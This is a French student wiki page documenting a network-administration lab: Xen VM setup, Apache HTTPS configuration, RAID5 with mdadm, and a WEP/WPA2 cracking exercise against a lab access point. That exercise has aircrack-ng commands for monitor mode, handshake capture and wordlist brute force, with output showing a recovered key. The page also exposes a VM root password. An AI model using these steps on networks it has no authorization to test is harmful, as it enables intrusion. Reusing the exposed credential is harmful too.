TP sysres IMA2a5 2019/2020 G1 : Différence entre versions

De Wiki d'activités IMA
(Stockage Raid5)
(Stockage Raid5)
Ligne 280 : Ligne 280 :
 
  apt-get install mdadm
 
  apt-get install mdadm
  
root@ima2a5-zerofun:~# mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5
+
mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5
 +
 
 +
result:
 
  mdadm: /dev/xvdb3 appears to contain an ext2fs file system
 
  mdadm: /dev/xvdb3 appears to contain an ext2fs file system
 
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970
 
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970

Version du 29 novembre 2019 à 12:29

Maxime Hirt - Fabien Cavalier

Présentation du Groupe et du projet

Le groupe de projet est contitué de:

  • Cavalier Fabien
  • Hirt Maxime.

Lors de ce projet nous allons devoir:

  • Créer une architecture reseaux avec un système de redondance
  • Créer une machine virtuel
  • Parametrer des connections IPV6
  • Effectuer un forcebrut sur une clé WEP et WPA
  • Créer un systeme de stockage Raid5
  • Cryptage de fichiers

Installation de la machine virtuelle avec xen

Connection à Corduan via ssh

ssh root@cordouan.insecserv.deule.net

Création et initialisation de la machine virtuelle

Creation de la machine virtuelle

xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128
xl create ima2a5-zerofun.cfg

Modification du fichier de configuration de la VM

nano ima2a5-zerofun.cfg
 #
 # Configuration file for the Xen instance ima2a5-zerofun, created
 # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.
 #
 
 #
 #  Kernel + memory size
 #
 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'
 extra       = 'elevator=noop'
 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'
 
 vcpus       = '1'
 memory      = '256'
 
 
 #
 #  Disk device(s).
 #
 root        = '/dev/xvda2 ro'
 disk        = [
 'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',
 'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',
 ]
 
 
 #
 #  Physical volumes
 #
 
 
 #
 #  Hostname
 #
 name        = 'ima2a5-zerofun'
 
 #
 #  Networking
 #
 dhcp        = 'dhcp'
 vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]
 
 #
 #  Behaviour
 #
 on_poweroff = 'destroy'
 on_reboot   = 'restart'
 on_crash    = 'restart'
 
 

Lancement de la VM

xl console ima2a5-zerofun

Connexion ssh@193.48.57.161

Récupération du mot de passe

cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password
>>Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT

On peut ensuite modifier le mot de passe avec passwd


Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte

   lvcreate -L10G -n ima2a5-zerofun-home virtual
   lvcreate -L10G -n ima2a5-zerofun-var virtual
   mke2fs /dev/virtual/ima2a5-zerofun-home
   mke2fs /dev/virtual/ima2a5-zerofun-var


Modification du fichier de config

   disk    	= [
                 	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',
                 	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               
                      'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',
                      'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',
                ]

Site web

Installer Apache2

apt install apache2

Installer bind9

apt install bind9

Paramétrer Apache2 Protocole HTTP

 <VirtualHost *:80>
      ServerName ima2a5-zerofun.site
      ServerAlias www.ima2a5-zerofun.site
      DocumentRoot "/var/www/ima2a5-zerofun"
      <Directory "/var/www/ima2a5-zerofun">
              Options +FollowSymLinks
              AllowOverride all
              Require all granted
      </Directory>
      ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log
      CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined
  </VirtualHost>


Protocole HTTPS

Modifier le fichier ima2a5-zerofun.conf pour utiliser le protocole https et rediriger automatiquement vers https://www.ima2a5-zerofun.site

 <VirtualHost *:80>
      ServerName ima2a5-zerofun.site
      ServerAlias www.ima2a5-zerofun.site
      DocumentRoot "/var/www/ima2a5-zerofun"
      Redirect permanent / https://ima2a5-zerofun.site
 </VirtualHost>
 <VirtualHost *:443>
       DocumentRoot "/var/www/ima2a5-zerofun"
       ServerName ima2a5-zerofun.site
       ServerAlias www.ima2a5-zerofun.site
       ServerAdmin fabien.cavalier@polytech-lille.net
               <Directory /var/www/ima2a5-zerofun>
                       Options -Indexes +FollowSymLinks +MultiViews
                       AllowOverride none
                       Require all granted
               </Directory>
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined
        # Activation du SSL
       SSLEngine On
       ServerAlias www.ima2a5-zerofun.site
       SSLProtocol All -SSLv3 -SSLv2
       SSLHonorCipherOrder on
  SSLCertificateFile "/etc/apache2/certificate/ima2a5-zerofun.crt"
  SSLCACertificateFile "/etc/apache2/certificate/ima2a5-zerofun.pem"
  SSLCertificateKeyFile "/etc/apache2/certificate/ima2a5-zerofun.key"
  </VirtualHost>


Gestion des certificats Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée avec openssl openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr On places ces fichiers dans /etc/apache2/certificate

relancer le site restart apache2

Attaque Wifi

Description de l'installation

Installation de l'utilitaire AirCrack

Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK

apt-get install aircrack-ng

Cassage WEP

Passage de la carte wifi en mode moniteur

airmon-ng 
>> phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370
airmon-ng start wlx40a5ef0f679b

Ecoute des trames Wifi sur le canal 2

airodump-ng -c 2 wlx40a5ef0f679b

Récupération des datas échangées sur le réseau Wifi

airodump-ng

Cassage WPA2-PSK

D'abord on va lister les interfaces WiFi de notre machine avec la commande

airmon-ng 
PHY	Interface	Driver		Chipset
phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 


Ensuite on va lancer le "monitor mode" pour dédier l'interface à Aircrack

airmon-ng start wlx40a5ef0590b2 

Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. Si on re-check les interfaces, on a maintenant :

PHY	Interface	Driver		Chipset
phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 


Ensuite on récupère l'adresse MAC du point d'accès avec :

airodum-ng --encrypt wpa wlan0mon

On prend le BSSID de notre kracotte01 => 04:DA:D2:9C:50:58

Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur

airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon

Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas) On utilise crunch :

crunch 8 8 0123456789 >> Dico_fc.txt

Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :

root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt

Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)

Opening handshake-02.cap
Read 242831 packets.
  #  BSSID              ESSID                     Encryption
  1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)
Choosing first network as target.
Opening handshake-02.cap
Reading packets, please wait...
                                Aircrack-ng 1.2 rc4
     [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) 
     Time left: 3 hours, 8 minutes, 43 seconds                  9.94%
                          KEY FOUND! [ 10222222 ]
     Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 
                      02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 
     Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 
                      70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 
                      09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 
                      18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A 
     EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E

Stockage Raid5

On crée les 3 disques de 1Go

lvcreate -L1G -n ima2a5-zerofun-d1 virtual
lvcreate -L1G -n ima2a5-zerofun-d2 virtual
lvcreate -L1G -n ima2a5-zerofun-d3 virtual
cd /dev/virtual

Faire pointer système de fichiers sur nos 3 disques.

mke2fs /dev/virtual/ima2a5-zerofun-d1
mke2fs /dev/virtual/ima2a5-zerofun-d2
mke2fs /dev/virtual/ima2a5-zerofun-d3

on met a jour le fichier de config de la VM

root        = '/dev/xvda2 ro'
disk        = [
                 'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',
                 'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',
               'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',
               'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',
               'phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w',
               'phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w',
               'phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w',
             ]

On retourne sur la VM et on installe mdadm

apt-get install mdadm
mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5

result:

mdadm: /dev/xvdb3 appears to contain an ext2fs file system
      size=1048576K  mtime=Thu Jan  1 00:00:00 1970
mdadm: /dev/xvdb4 appears to contain an ext2fs file system
      size=1048576K  mtime=Thu Jan  1 00:00:00 1970
mdadm: /dev/xvdb5 appears to contain an ext2fs file system
      size=1048576K  mtime=Thu Jan  1 00:00:00 1970
mdadm --monitor --daemonise /dev/md0
mkfs.ext4 /dev/md0
mke2fs 1.43.4 (31-Jan-2017)
Creating filesystem with 523776 4k blocks and 131072 inodes
Filesystem UUID: 392e14e4-44b5-4782-89ea-75c8483fd41b
Superblock backups stored on blocks: 
32768, 98304, 163840, 229376, 294912
Allocating group tables: done                            
Writing inode tables: done                            
Creating journal (8192 blocks): done
Writing superblocks and filesystem accounting information: done 


mkdir /media/raid

Cryptage de fichiers